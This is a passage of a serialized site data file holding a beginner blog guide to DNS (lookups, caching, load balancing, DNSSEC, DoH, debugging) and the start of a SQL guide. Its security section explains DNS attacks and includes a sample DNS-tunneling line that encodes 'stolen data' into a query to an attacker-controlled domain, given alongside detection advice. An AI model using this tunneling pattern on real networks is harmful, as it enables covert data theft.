140.82.121.3\n# github.com has IPv6 address 2606:50c0:8000::153\n# github.com mail is handled by 1 aspmx.l.google.com.\n\nhost -t TXT github.com\n",[34,17481,17482,17488,17493,17498,17503,17507],{"__ignoreMap":90},[94,17483,17484,17486],{"class":96,"line":97},[94,17485,17468],{"class":146},[94,17487,17137],{"class":153},[94,17489,17490],{"class":96,"line":111},[94,17491,17492],{"class":790},"# github.com has address 140.82.121.3\n",[94,17494,17495],{"class":96,"line":122},[94,17496,17497],{"class":790},"# github.com has IPv6 address 2606:50c0:8000::153\n",[94,17499,17500],{"class":96,"line":138},[94,17501,17502],{"class":790},"# github.com mail is handled by 1 aspmx.l.google.com.\n",[94,17504,17505],{"class":96,"line":164},[94,17506,289],{"emptyLinePlaceholder":288},[94,17508,17509,17511,17514,17517],{"class":96,"line":174},[94,17510,17468],{"class":146},[94,17512,17513],{"class":757}," -t",[94,17515,17516],{"class":153}," TXT",[94,17518,17137],{"class":153},[23,17520,17522],{"id":17521},"flushing-your-dns-cache","Flushing Your DNS Cache",[11,17524,17525],{},"When you change a DNS record and need to see the new value immediately without waiting for TTL to expire, flush your local cache:",[85,17527,17529],{"className":17005,"code":17528,"language":17007,"meta":90,"style":90},"# Linux (systemd-resolved)\nsudo resolvectl flush-caches\n# or\nsudo systemd-resolve --flush-caches\n\n# macOS\nsudo dscacheutil -flushcache && sudo killall -HUP mDNSResponder\n\n# Windows\nipconfig /flushdns\n",[34,17530,17531,17536,17547,17552,17562,17566,17570,17594,17598,17602],{"__ignoreMap":90},[94,17532,17533],{"class":96,"line":97},[94,17534,17535],{"class":790},"# Linux (systemd-resolved)\n",[94,17537,17538,17541,17544],{"class":96,"line":111},[94,17539,17540],{"class":146},"sudo",[94,17542,17543],{"class":153}," resolvectl",[94,17545,17546],{"class":153}," flush-caches\n",[94,17548,17549],{"class":96,"line":122},[94,17550,17551],{"class":790},"# or\n",[94,17553,17554,17556,17559],{"class":96,"line":138},[94,17555,17540],{"class":146},[94,17557,17558],{"class":153}," systemd-resolve",[94,17560,17561],{"class":757}," --flush-caches\n",[94,17563,17564],{"class":96,"line":164},[94,17565,289],{"emptyLinePlaceholder":288},[94,17567,17568],{"class":96,"line":174},[94,17569,17041],{"class":790},[94,17571,17572,17574,17577,17580,17583,17585,17588,17591],{"class":96,"line":188},[94,17573,17540],{"class":146},[94,17575,17576],{"class":153}," dscacheutil",[94,17578,17579],{"class":757}," -flushcache",[94,17581,17582],{"class":100}," && ",[94,17584,17540],{"class":146},[94,17586,17587],{"class":153}," killall",[94,17589,17590],{"class":757}," -HUP",[94,17592,17593],{"class":153}," mDNSResponder\n",[94,17595,17596],{"class":96,"line":203},[94,17597,289],{"emptyLinePlaceholder":288},[94,17599,17600],{"class":96,"line":1695},[94,17601,17067],{"class":790},[94,17603,17604,17606],{"class":96,"line":1702},[94,17605,17072],{"class":146},[94,17607,17608],{"class":153}," /flushdns\n",[11,17610,17611],{},"After flushing, the next DNS query for that domain will go out to the network rather than returning a cached response.",[18,17613,17615],{"id":17614},"dns-in-practice-real-world-scenarios","DNS in Practice: Real-World Scenarios",[23,17617,17619],{"id":17618},"local-development-with-custom-domains","Local Development with Custom Domains",[11,17621,17622],{},"The hosts file is the fastest way to set up a local domain for development:",[85,17624,17627],{"className":17625,"code":17626,"language":8778},[8776],"# /etc/hosts\n127.0.0.1   myapp.local\n127.0.0.1   api.myapp.local\n127.0.0.1   auth.myapp.local\n",[34,17628,17626],{"__ignoreMap":90},[11,17630,17631,17632,17635],{},"Now ",[34,17633,17634],{},"http://myapp.local"," resolves to your machine without any DNS server. Your browser, curl, and all other tools will use this mapping automatically.",[23,17637,17639],{"id":17638},"testing-dns-changes-before-they-propagate","Testing DNS Changes Before They Propagate",[11,17641,17642],{},"After making a DNS change, you can verify it was saved correctly by querying the authoritative server directly, before the change has propagated to public resolvers:",[85,17644,17646],{"className":17005,"code":17645,"language":17007,"meta":90,"style":90},"# Find the authoritative name server for your domain\ndig NS example.com +short\n# Returns: ns1.your-dns-provider.com.\n\n# Now query that server directly for the record you just changed\ndig @ns1.your-dns-provider.com example.com A\n",[34,17647,17648,17653,17666,17671,17675,17680],{"__ignoreMap":90},[94,17649,17650],{"class":96,"line":97},[94,17651,17652],{"class":790},"# Find the authoritative name server for your domain\n",[94,17654,17655,17657,17660,17663],{"class":96,"line":111},[94,17656,17115],{"class":146},[94,17658,17659],{"class":153}," NS",[94,17661,17662],{"class":153}," example.com",[94,17664,17665],{"class":153}," +short\n",[94,17667,17668],{"class":96,"line":122},[94,17669,17670],{"class":790},"# Returns: ns1.your-dns-provider.com.\n",[94,17672,17673],{"class":96,"line":138},[94,17674,289],{"emptyLinePlaceholder":288},[94,17676,17677],{"class":96,"line":164},[94,17678,17679],{"class":790},"# Now query that server directly for the record you just changed\n",[94,17681,17682,17684,17687,17689],{"class":96,"line":174},[94,17683,17115],{"class":146},[94,17685,17686],{"class":153}," @ns1.your-dns-provider.com",[94,17688,17662],{"class":153},[94,17690,17691],{"class":153}," A\n",[11,17693,17694],{},"If this returns the new value, your change was saved. Public resolvers will see it after the old TTL expires.",[23,17696,17698],{"id":17697},"setting-up-dns-for-a-new-domain","Setting Up DNS for a New Domain",[11,17700,17701],{},"When you register a domain and want to use Cloudflare for DNS:",[1940,17703,17704,17707,17716,17719],{},[486,17705,17706],{},"Add the domain in Cloudflare's dashboard. Cloudflare scans your current DNS records.",[486,17708,17709,17710,70,17713,401],{},"Cloudflare gives you two NS records (like ",[34,17711,17712],{},"ns1.cloudflare.com",[34,17714,17715],{},"ns2.cloudflare.com",[486,17717,17718],{},"Log in to your domain registrar and update the NS records to Cloudflare's values.",[486,17720,17721],{},"DNS propagation begins: resolver caches start expiring worldwide, gradually switching to Cloudflare as the authority.",[11,17723,17724],{},"During propagation (which takes a few hours to complete globally), some users see old DNS data and others see new. This is normal and unavoidable due to TTL-based caching.",[23,17726,17728],{"id":17727},"dns-load-balancing","DNS Load Balancing",[11,17730,17731],{},"DNS can distribute traffic across multiple servers without a dedicated hardware load balancer.",[11,17733,17734,17737],{},[1183,17735,17736],{},"Round-robin DNS:"," Give one domain multiple A records. Resolvers rotate through them, spreading queries across servers.",[85,17739,17742],{"className":17740,"code":17741,"language":8778},[8776],"; Traffic distributed across three servers\napp.example.com.  60  IN  A  10.0.0.1\napp.example.com.  60  IN  A  10.0.0.2\napp.example.com.  60  IN  A  10.0.0.3\n",[34,17743,17741],{"__ignoreMap":90},[11,17745,17746,17749],{},[1183,17747,17748],{},"Weighted routing:"," With providers like AWS Route 53 or Cloudflare Load Balancing, you can send a specific percentage of traffic to each server. For example: 90% to the primary server, 10% to a canary.",[11,17751,17752,17755],{},[1183,17753,17754],{},"Geo-routing:"," Return different A records based on the user's geographic location. Users in Europe get your European server. Users in Asia get your Asia-Pacific server. This reduces latency without any application-level changes.",[11,17757,17758,17761],{},[1183,17759,17760],{},"Failover:"," Configure health checks alongside DNS. When a server fails a health check, the DNS provider automatically stops returning its IP address. Traffic shifts to healthy servers within the TTL window.",[23,17763,17765],{"id":17764},"subdomain-delegation","Subdomain Delegation",[11,17767,17768],{},"You can delegate a subdomain to a completely different set of authoritative name servers. This is used by large organisations to give different teams independent control over their DNS zones.",[85,17770,17773],{"className":17771,"code":17772,"language":8778},[8776],"; Main company domain at the primary DNS provider\nexample.com.      NS  ns1.main-dns.com.\n\n; dev.example.com delegated to the dev team's DNS provider\ndev.example.com.  NS  ns1.dev-team-dns.com.\ndev.example.com.  NS  ns2.dev-team-dns.com.\n",[34,17774,17772],{"__ignoreMap":90},[11,17776,17777,17778,17781],{},"After this delegation, the dev team controls all records under ",[34,17779,17780],{},"dev.example.com"," completely independently. They can add, change, or delete records without touching the main domain's DNS.",[18,17783,17785],{"id":17784},"dns-security-what-can-go-wrong","DNS Security: What Can Go Wrong",[11,17787,17788],{},"DNS was designed in 1983, when the internet was a cooperative research network and security threats were not a primary concern. Several attack types exploit the trust model that DNS was built on.",[23,17790,17792],{"id":17791},"dns-cache-poisoning-spoofing","DNS Cache Poisoning (Spoofing)",[11,17794,17795],{},"An attacker floods a recursive resolver with forged DNS responses. If a forged response arrives before the legitimate one, the resolver caches the fake record. All users of that resolver then get the wrong IP address for the target domain, potentially being redirected to a malicious server without any visible warning.",[11,17797,17798],{},"The classic exploit sends thousands of forged responses while the resolver is still waiting for a legitimate reply, gambling on one of them matching the query's transaction ID before the real response arrives.",[23,17800,17802],{"id":17801},"dns-hijacking","DNS Hijacking",[11,17804,17805],{},"An attacker takes control of a router, resolver, or even the domain's registrar account and changes DNS records at the source. Unlike cache poisoning (which injects false data into caches), hijacking modifies the actual authoritative data. Victims are redirected to fake sites at the DNS level, making the attack very difficult for end users to detect.",[23,17807,17809],{"id":17808},"dns-amplification","DNS Amplification",[11,17811,17812],{},"Attackers exploit publicly open DNS resolvers to amplify DDoS attacks. They send small DNS queries (30 to 40 bytes) with the victim's IP address forged as the source. The resolver sends its large response (up to 3,000 bytes) to the victim. The query-to-response size ratio can be 50 to 100 times, dramatically amplifying the attack bandwidth.",[23,17814,17816],{"id":17815},"dns-tunneling-exfiltration","DNS Tunneling / Exfiltration",[11,17818,17819],{},"Because DNS traffic almost never gets blocked by firewalls, attackers use it as a covert data channel. Sensitive data is encoded into DNS query names, which are sent to an authoritative server the attacker controls. The attacker's server logs every incoming query name and decodes the exfiltrated data.",[85,17821,17824],{"className":17822,"code":17823,"language":8778},[8776],"; Data encoded as base64 in a subdomain label\ndGhpcyBpcyBzdG9sZW4gZGF0YQ.attacker-controlled.com.\n",[34,17825,17823],{"__ignoreMap":90},[11,17827,17828],{},"Detecting this requires monitoring DNS query volumes and looking for unusually long or high-entropy subdomains.",[18,17830,17832],{"id":17831},"dnssec-adding-cryptographic-trust-to-dns","DNSSEC: Adding Cryptographic Trust to DNS",[11,17834,17835],{},"DNSSEC (DNS Security Extensions) addresses the core vulnerability in plain DNS: you have no way to verify that a response actually came from the authoritative server and was not modified in transit.",[11,17837,17838],{},"DNSSEC adds digital signatures to DNS records. Resolvers that support DNSSEC can verify the full chain of signatures from the root zone down to the specific record they queried.",[85,17840,17843],{"className":17841,"code":17842,"language":8778},[8776],"Root zone signs the TLD zone's key\n        ↓\nTLD zone signs the domain's zone key (DS record)\n        ↓\nDomain's zone key signs individual records (RRSIG records)\n        ↓\nResolver validates the entire chain, top to bottom\n        ↓\nIf any signature is invalid or missing, the query fails\n",[34,17844,17842],{"__ignoreMap":90},[11,17846,17847],{},"The trust anchor for this entire chain is the root zone's key. ICANN publishes it, and it is hardcoded into resolver software. A response cannot be forged without breaking the cryptographic chain.",[85,17849,17851],{"className":17005,"code":17850,"language":17007,"meta":90,"style":90},"# Check if a domain has DNSSEC configured\ndig github.com DNSKEY\ndig github.com DS\n\n# Verify the DNSSEC chain with a validating resolver\ndig +dnssec github.com @1.1.1.1\n",[34,17852,17853,17858,17867,17876,17880,17885],{"__ignoreMap":90},[94,17854,17855],{"class":96,"line":97},[94,17856,17857],{"class":790},"# Check if a domain has DNSSEC configured\n",[94,17859,17860,17862,17864],{"class":96,"line":111},[94,17861,17115],{"class":146},[94,17863,17153],{"class":153},[94,17865,17866],{"class":153}," DNSKEY\n",[94,17868,17869,17871,17873],{"class":96,"line":122},[94,17870,17115],{"class":146},[94,17872,17153],{"class":153},[94,17874,17875],{"class":153}," DS\n",[94,17877,17878],{"class":96,"line":138},[94,17879,289],{"emptyLinePlaceholder":288},[94,17881,17882],{"class":96,"line":164},[94,17883,17884],{"class":790},"# Verify the DNSSEC chain with a validating resolver\n",[94,17886,17887,17889,17892,17894],{"class":96,"line":174},[94,17888,17115],{"class":146},[94,17890,17891],{"class":153}," +dnssec",[94,17893,17153],{"class":153},[94,17895,17896],{"class":153}," @1.1.1.1\n",[11,17898,17899],{},"DNSSEC has one important limitation: it proves records were not tampered with in transit, but it does not hide what you are looking up. The question \"what is the IP for github.com?\" is still plaintext on the wire.",[18,17901,17903],{"id":17902},"dns-over-https-and-dns-over-tls","DNS over HTTPS and DNS over TLS",[11,17905,17906],{},"Standard DNS queries travel as plaintext over UDP port 53. Anyone between you and the resolver (your ISP, the coffee shop WiFi operator, or a compromised router) can see exactly which domains you are querying. This is a significant privacy issue.",[11,17908,17909,17912],{},[1183,17910,17911],{},"DNS over TLS (DoT)"," encrypts DNS queries using TLS, running on port 853. It provides confidentiality between you and the resolver, preventing passive observers from seeing your query names.",[11,17914,17915,17918],{},[1183,17916,17917],{},"DNS over HTTPS (DoH)"," wraps DNS queries inside regular HTTPS traffic on port 443. Because it looks identical to normal web traffic, network observers cannot selectively block or monitor DNS. Modern browsers (Chrome, Firefox, Edge) support DoH natively and can be configured to use it.",[11,17920,17921],{},"Both protect against passive eavesdropping on the network between you and the resolver. Neither hides your queries from the resolver itself: Cloudflare, Google, or whichever provider you use still sees every domain you look up.",[85,17923,17925],{"className":17005,"code":17924,"language":17007,"meta":90,"style":90},"# Query using DoH with curl\ncurl -H 'accept: application/dns-json' \\\n     'https://cloudflare-dns.com/dns-query?name=github.com&type=A'\n\n# Query using DoH with dig (newer versions)\ndig @https://cloudflare-dns.com/dns-query github.com\n",[34,17926,17927,17932,17945,17950,17954,17959],{"__ignoreMap":90},[94,17928,17929],{"class":96,"line":97},[94,17930,17931],{"class":790},"# Query using DoH with curl\n",[94,17933,17934,17936,17939,17942],{"class":96,"line":111},[94,17935,8656],{"class":146},[94,17937,17938],{"class":757}," -H",[94,17940,17941],{"class":153}," 'accept: application/dns-json'",[94,17943,17944],{"class":757}," \\\n",[94,17946,17947],{"class":96,"line":122},[94,17948,17949],{"class":153},"     'https://cloudflare-dns.com/dns-query?name=github.com&type=A'\n",[94,17951,17952],{"class":96,"line":138},[94,17953,289],{"emptyLinePlaceholder":288},[94,17955,17956],{"class":96,"line":164},[94,17957,17958],{"class":790},"# Query using DoH with dig (newer versions)\n",[94,17960,17961,17963,17966],{"class":96,"line":174},[94,17962,17115],{"class":146},[94,17964,17965],{"class":153}," @https://cloudflare-dns.com/dns-query",[94,17967,17137],{"class":153},[18,17969,17971],{"id":17970},"common-dns-problems-and-how-to-debug-them","Common DNS Problems and How to Debug Them",[23,17973,17975],{"id":17974},"nxdomain-domain-does-not-exist","NXDOMAIN: Domain Does Not Exist",[85,17977,17979],{"className":17005,"code":17978,"language":17007,"meta":90,"style":90},"dig nonexistent.example.com\n# status: NXDOMAIN\n",[34,17980,17981,17988],{"__ignoreMap":90},[94,17982,17983,17985],{"class":96,"line":97},[94,17984,17115],{"class":146},[94,17986,17987],{"class":153}," nonexistent.example.com\n",[94,17989,17990],{"class":96,"line":111},[94,17991,17992],{"class":790},"# status: NXDOMAIN\n",[11,17994,17995],{},"The authoritative server says this domain definitely does not exist. Common causes: typo in the domain name, the DNS record has not been created yet, or the domain has expired.",[23,17997,17999],{"id":17998},"servfail-server-failure","SERVFAIL: Server Failure",[85,18001,18003],{"className":17005,"code":18002,"language":17007,"meta":90,"style":90},"dig example.com\n# status: SERVFAIL\n",[34,18004,18005,18012],{"__ignoreMap":90},[94,18006,18007,18009],{"class":96,"line":97},[94,18008,17115],{"class":146},[94,18010,18011],{"class":153}," example.com\n",[94,18013,18014],{"class":96,"line":111},[94,18015,18016],{"class":790},"# status: SERVFAIL\n",[11,18018,18019],{},"The resolver encountered an error while trying to resolve the query. Frequent causes: DNSSEC validation failure (the signature does not match), misconfigured authoritative servers, or a broken NS delegation (the TLD points to a name server that does not respond).",[23,18021,18023],{"id":18022},"stale-cache-seeing-old-dns-after-a-change","Stale Cache: Seeing Old DNS After a Change",[11,18025,18026],{},"If you made a DNS change but the new value is not showing up:",[85,18028,18030],{"className":17005,"code":18029,"language":17007,"meta":90,"style":90},"# Check what different resolvers currently have cached\ndig @8.8.8.8 example.com    # Google's resolver\ndig @1.1.1.1 example.com    # Cloudflare's resolver\ndig @9.9.9.9 example.com    # Quad9\n\n# Check what the authoritative server says directly (bypasses all caches)\ndig NS example.com +short\n# Returns the authoritative NS, e.g.: ns1.your-provider.com.\ndig @ns1.your-provider.com example.com A\n",[34,18031,18032,18037,18049,18060,18072,18076,18081,18091,18096],{"__ignoreMap":90},[94,18033,18034],{"class":96,"line":97},[94,18035,18036],{"class":790},"# Check what different resolvers currently have cached\n",[94,18038,18039,18041,18044,18046],{"class":96,"line":111},[94,18040,17115],{"class":146},[94,18042,18043],{"class":153}," @8.8.8.8",[94,18045,17662],{"class":153},[94,18047,18048],{"class":790},"    # Google's resolver\n",[94,18050,18051,18053,18055,18057],{"class":96,"line":122},[94,18052,17115],{"class":146},[94,18054,17199],{"class":153},[94,18056,17662],{"class":153},[94,18058,18059],{"class":790},"    # Cloudflare's resolver\n",[94,18061,18062,18064,18067,18069],{"class":96,"line":138},[94,18063,17115],{"class":146},[94,18065,18066],{"class":153}," @9.9.9.9",[94,18068,17662],{"class":153},[94,18070,18071],{"class":790},"    # Quad9\n",[94,18073,18074],{"class":96,"line":164},[94,18075,289],{"emptyLinePlaceholder":288},[94,18077,18078],{"class":96,"line":174},[94,18079,18080],{"class":790},"# Check what the authoritative server says directly (bypasses all caches)\n",[94,18082,18083,18085,18087,18089],{"class":96,"line":188},[94,18084,17115],{"class":146},[94,18086,17659],{"class":153},[94,18088,17662],{"class":153},[94,18090,17665],{"class":153},[94,18092,18093],{"class":96,"line":203},[94,18094,18095],{"class":790},"# Returns the authoritative NS, e.g.: ns1.your-provider.com.\n",[94,18097,18098,18100,18103,18105],{"class":96,"line":1695},[94,18099,17115],{"class":146},[94,18101,18102],{"class":153}," @ns1.your-provider.com",[94,18104,17662],{"class":153},[94,18106,17691],{"class":153},[11,18108,18109],{},"If the authoritative server returns the new value but public resolvers still return the old one, you are simply waiting for the old TTL to expire across the globe. You cannot speed this up for external resolvers, but you can flush your own local cache.",[23,18111,18113],{"id":18112},"slow-dns-resolution","Slow DNS Resolution",[11,18115,18116],{},"Run a trace with timing to find the slow step:",[85,18118,18120],{"className":17005,"code":18119,"language":17007,"meta":90,"style":90},"dig +trace +stats example.com\n",[34,18121,18122],{"__ignoreMap":90},[94,18123,18124,18126,18128,18131],{"class":96,"line":97},[94,18125,17115],{"class":146},[94,18127,17217],{"class":153},[94,18129,18130],{"class":153}," +stats",[94,18132,18011],{"class":153},[11,18134,18135,18136,18139],{},"Look at the ",[34,18137,18138],{},"Query time"," line after each step. If the authoritative query is slow, the problem is with your DNS provider's infrastructure. If all steps are slow, try using a geographically closer resolver.",[23,18141,18143],{"id":18142},"email-delivery-problems","Email Delivery Problems",[85,18145,18147],{"className":17005,"code":18146,"language":17007,"meta":90,"style":90},"# Check that MX records exist\ndig example.com MX\n\n# Verify SPF record is present\ndig example.com TXT | grep spf\n\n# Check PTR record for your mail server's IP\ndig -x YOUR_MAIL_SERVER_IP\n",[34,18148,18149,18154,18162,18166,18171,18186,18190,18195],{"__ignoreMap":90},[94,18150,18151],{"class":96,"line":97},[94,18152,18153],{"class":790},"# Check that MX records exist\n",[94,18155,18156,18158,18160],{"class":96,"line":111},[94,18157,17115],{"class":146},[94,18159,17662],{"class":153},[94,18161,17156],{"class":153},[94,18163,18164],{"class":96,"line":122},[94,18165,289],{"emptyLinePlaceholder":288},[94,18167,18168],{"class":96,"line":138},[94,18169,18170],{"class":790},"# Verify SPF record is present\n",[94,18172,18173,18175,18177,18179,18181,18183],{"class":96,"line":164},[94,18174,17115],{"class":146},[94,18176,17662],{"class":153},[94,18178,17516],{"class":153},[94,18180,17052],{"class":753},[94,18182,17055],{"class":146},[94,18184,18185],{"class":153}," spf\n",[94,18187,18188],{"class":96,"line":174},[94,18189,289],{"emptyLinePlaceholder":288},[94,18191,18192],{"class":96,"line":188},[94,18193,18194],{"class":790},"# Check PTR record for your mail server's IP\n",[94,18196,18197,18199,18201],{"class":96,"line":203},[94,18198,17115],{"class":146},[94,18200,17255],{"class":757},[94,18202,18203],{"class":153}," YOUR_MAIL_SERVER_IP\n",[11,18205,18206],{},"Missing PTR records are one of the most common causes of email being flagged as spam or rejected outright.",[18,18208,18210],{"id":18209},"a-quick-reference-dns-ports-and-protocols","A Quick Reference: DNS Ports and Protocols",[497,18212,18213,18226],{},[500,18214,18215],{},[503,18216,18217,18220,18223],{},[506,18218,18219],{},"Protocol",[506,18221,18222],{},"Port",[506,18224,18225],{},"Notes",[519,18227,18228,18239,18249,18259],{},[503,18229,18230,18233,18236],{},[524,18231,18232],{},"DNS (UDP)",[524,18234,18235],{},"53",[524,18237,18238],{},"Standard queries (fast, no connection overhead)",[503,18240,18241,18244,18246],{},[524,18242,18243],{},"DNS (TCP)",[524,18245,18235],{},[524,18247,18248],{},"Large responses over 512 bytes, zone transfers",[503,18250,18251,18253,18256],{},[524,18252,17911],{},[524,18254,18255],{},"853",[524,18257,18258],{},"Encrypted DNS",[503,18260,18261,18263,18266],{},[524,18262,17917],{},[524,18264,18265],{},"443",[524,18267,18268],{},"Encrypted DNS via HTTPS (looks like web traffic)",[11,18270,18271],{},"DNS uses UDP by default for speed (no handshake, no connection state). TCP is used when a response is too large for a single UDP packet, and for zone transfers (copying an entire DNS zone from a primary to a secondary name server).",[18,18273,18275],{"id":18274},"summary","Summary",[11,18277,18278],{},"DNS is one of the most fundamental pieces of infrastructure on the internet and almost completely invisible when it is working correctly.",[11,18280,18281],{},"Here is what you now know:",[483,18283,18284,18287,18290,18313,18316,18322,18325],{},[486,18285,18286],{},"DNS translates domain names to IP addresses through a global, distributed, hierarchical system.",[486,18288,18289],{},"A full DNS lookup flows through four types of servers: recursive resolver, root name servers, TLD name servers, and authoritative name servers.",[486,18291,18292,18293,70,18295,18297,18298,18300,18301,18303,18304,18306,18307,18309,18310,18312],{},"DNS has many record types: ",[34,18294,4152],{},[34,18296,16478],{}," for IP addresses, ",[34,18299,16493],{}," for aliases, ",[34,18302,16507],{}," for email routing, ",[34,18305,16522],{}," for email authentication and verification, ",[34,18308,16537],{}," for delegation, ",[34,18311,16565],{}," for reverse lookups, and more.",[486,18314,18315],{},"TTL controls how long records are cached. Lower TTL means faster propagation but more load on your DNS servers.",[486,18317,18318,18321],{},[34,18319,18320],{},"dig +trace"," is your best debugging tool. It shows the full resolution chain from root to authoritative server, with query times at each step.",[486,18323,18324],{},"DNS was not designed with security in mind. DNSSEC adds cryptographic integrity. DoH and DoT add privacy against eavesdropping.",[486,18326,18327],{},"The hosts file is simple, powerful, and useful for local development. It always takes precedence over DNS.",[8983,18329,18330],{},"html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}",{"title":90,"searchDepth":111,"depth":111,"links":18332},[18333,18334,18335,18336,18342,18347,18356,18357,18361,18362,18363,18369,18376,18382,18383,18384,18391,18392],{"id":16036,"depth":111,"text":16037},{"id":16068,"depth":111,"text":16069},{"id":16111,"depth":111,"text":16112},{"id":16213,"depth":111,"text":16214,"children":18337},[18338,18339,18340,18341],{"id":16226,"depth":122,"text":16227},{"id":16243,"depth":122,"text":16244},{"id":16253,"depth":122,"text":16254},{"id":16266,"depth":122,"text":16267},{"id":16276,"depth":111,"text":16277,"children":18343},[18344,18345,18346],{"id":16305,"depth":122,"text":16306},{"id":16370,"depth":122,"text":16371},{"id":16380,"depth":122,"text":16381},{"id":16436,"depth":111,"text":16437,"children":18348},[18349,18350,18351,18352,18353,18354,18355],{"id":16608,"depth":122,"text":16609},{"id":16636,"depth":122,"text":16637},{"id":16685,"depth":122,"text":16686},{"id":16708,"depth":122,"text":16709},{"id":16748,"depth":122,"text":16749},{"id":16764,"depth":122,"text":16765},{"id":16783,"depth":122,"text":16784},{"id":16796,"depth":111,"text":16797},{"id":16856,"depth":111,"text":16857,"children":18358},[18359,18360],{"id":16869,"depth":122,"text":16870},{"id":16876,"depth":122,"text":16877},{"id":16898,"depth":111,"text":16899},{"id":17086,"depth":111,"text":17087},{"id":17111,"depth":111,"text":17112,"children":18364},[18365,18366,18367,18368],{"id":17115,"depth":122,"text":17115},{"id":17396,"depth":122,"text":17396},{"id":17468,"depth":122,"text":17468},{"id":17521,"depth":122,"text":17522},{"id":17614,"depth":111,"text":17615,"children":18370},[18371,18372,18373,18374,18375],{"id":17618,"depth":122,"text":17619},{"id":17638,"depth":122,"text":17639},{"id":17697,"depth":122,"text":17698},{"id":17727,"depth":122,"text":17728},{"id":17764,"depth":122,"text":17765},{"id":17784,"depth":111,"text":17785,"children":18377},[18378,18379,18380,18381],{"id":17791,"depth":122,"text":17792},{"id":17801,"depth":122,"text":17802},{"id":17808,"depth":122,"text":17809},{"id":17815,"depth":122,"text":17816},{"id":17831,"depth":111,"text":17832},{"id":17902,"depth":111,"text":17903},{"id":17970,"depth":111,"text":17971,"children":18385},[18386,18387,18388,18389,18390],{"id":17974,"depth":122,"text":17975},{"id":17998,"depth":122,"text":17999},{"id":18022,"depth":122,"text":18023},{"id":18112,"depth":122,"text":18113},{"id":18142,"depth":122,"text":18143},{"id":18209,"depth":111,"text":18210},{"id":18274,"depth":111,"text":18275},"2026-04-27","Every website visit starts with a DNS lookup you never see. This guide breaks down exactly how DNS works, from root servers to your browser, with diagrams and real examples for beginners and experienced developers alike.","dns-explained-how-domain-name-system-works.png",{},"/backend/dns-explained-how-domain-name-system-works",{"title":8904,"description":18394},"Backend/3.dns-explained-how-domain-name-system-works",[16029,18401,9157,18402,18403,18404],"Networking","Backend","Infrastructure","Domain Names","4VFkEeH3deLD-hhWTmh4VmeJio3W5o4tTYEXEMia_W4",{"id":18407,"title":18408,"author":6,"body":18409,"date":25540,"description":25541,"draft":9143,"extension":9144,"guide":9145,"image":25542,"meta":25543,"navigation":288,"path":25544,"seo":25545,"stem":25546,"tags":25547,"__hash__":25549},"blog/Backend/2.sql-made-dead-simple-rdbms-guide.md","SQL Made Dead Simple (The Only RDBMS Guide You Need)",{"type":8,"value":18410,"toc":25491},[18411,18415,18432,18446,18450,18456,18459,18485,18496,18508,18511,18515,18519,18524,18585,18589,18595,18609,18614,18677,18688,18692,18697,18703,18739,18743,18750,18755,18765,18768,18834,18838,18851,18920,18940,18944,19029,19033,19044,19050,19054,19057,19070,19076,19080,19087,19098,19104,19108,19115,19134,19187,19191,19202,19362,19380,19384,19400,19403,19449,19466,19532,19534,19538,19543,19674,19678,19682,19800,19804,19920,19924,19960,19972,19976,19979,20121,20124,20214,20217,20274,20297,20301,20310,20437,20441,20573,20575,20579,20583,20589,20967,20971,21126,21130,21140,21244,21379,21384,21390,21394,21414,21527,21540,21544,21555,21561,21574,21578,21592,21595,21615,21621,21625,21631,21724,21733,21737,21744,21822,21830,21834,21837,21841,21848,21908,21912,21919,21963,21967,22122,22126,22132,22300,22302,22306,22316,22389,22521,22526,22606,22613,22615,22619,22635,22639,22642,22648,22653,22668,22672,22676,22688,22774,22778,22792,22796,22812,22855,22871,22873,22877,22891,22894,22984,22989,23008,23013,23031,23049,23051,23055,23065,23069,23171,23177,23181,23187,23257,23338,23340,23344,23354,23581,23586,23612,23614,23618,23628,23632,23638,24046,24050,24436,24440,25092,25094,25098,25105,25259,25261,25265,25269,25378,25382,25443,25447,25472,25474,25482,25485,25488],[18,18412,18414],{"id":18413},"_1-overview","1. Overview",[11,18416,18417,18418,18421,18422,18424,18425,18428,18429,360],{},"Every app you use daily — Instagram, Zomato, Google Pay, your college's exam\nportal — stores its data ",[1512,18419,18420],{},"somewhere",". That ",[1512,18423,18420],{}," is almost always a\n",[1183,18426,18427],{},"database",", and the most widely used kind of database in the world is the\n",[1183,18430,18431],{},"Relational Database",[11,18433,1748,18434,18437,18438,18441,18442,18445],{},[1183,18435,18436],{},"Relational Database Management System (RDBMS)"," is software that lets you\nstore, organize, and retrieve structured data using a language called ",[1183,18439,18440],{},"SQL\n(Structured Query Language)",". SQL has been the industry standard since the\n1970s, and despite decades of new technology, it remains one of the most\nin-demand skills for any software engineer, data analyst, or backend developer.\nWhether you want to ",[1183,18443,18444],{},"learn SQL from scratch"," or sharpen your existing skills,\nunderstanding RDBMS concepts deeply is a must.",[23,18447,18449],{"id":18448},"real-world-example-an-e-commerce-platform","Real-World Example: An E-Commerce Platform",[11,18451,18452],{},[426,18453],{"alt":18454,"src":18455},"E-Commerce ER Diagram","/post-images/sql-made-dead-simple-rdbms-guide/ecommerce-er-diagram.png",[11,18457,18458],{},"Imagine you are building something like Amazon. You need to keep track of:",[483,18460,18461,18467,18473,18479],{},[486,18462,18463,18466],{},[1183,18464,18465],{},"Customers"," — who they are, their email, their address",[486,18468,18469,18472],{},[1183,18470,18471],{},"Products"," — names, prices, stock counts",[486,18474,18475,18478],{},[1183,18476,18477],{},"Orders"," — which customer bought which product, when, and for how much",[486,18480,18481,18484],{},[1183,18482,18483],{},"Payments"," — transaction IDs, payment method, status",[11,18486,18487,18488,18491,18492,18495],{},"All of this data is ",[1512,18489,18490],{},"related"," to each other. An order belongs to a customer.\nAn order contains products. A payment belongs to an order. The ",[1183,18493,18494],{},"relational\ndatabase"," model gives us a clean, structured, and efficient way to represent\nthese connections — and SQL gives us the power to query across all of 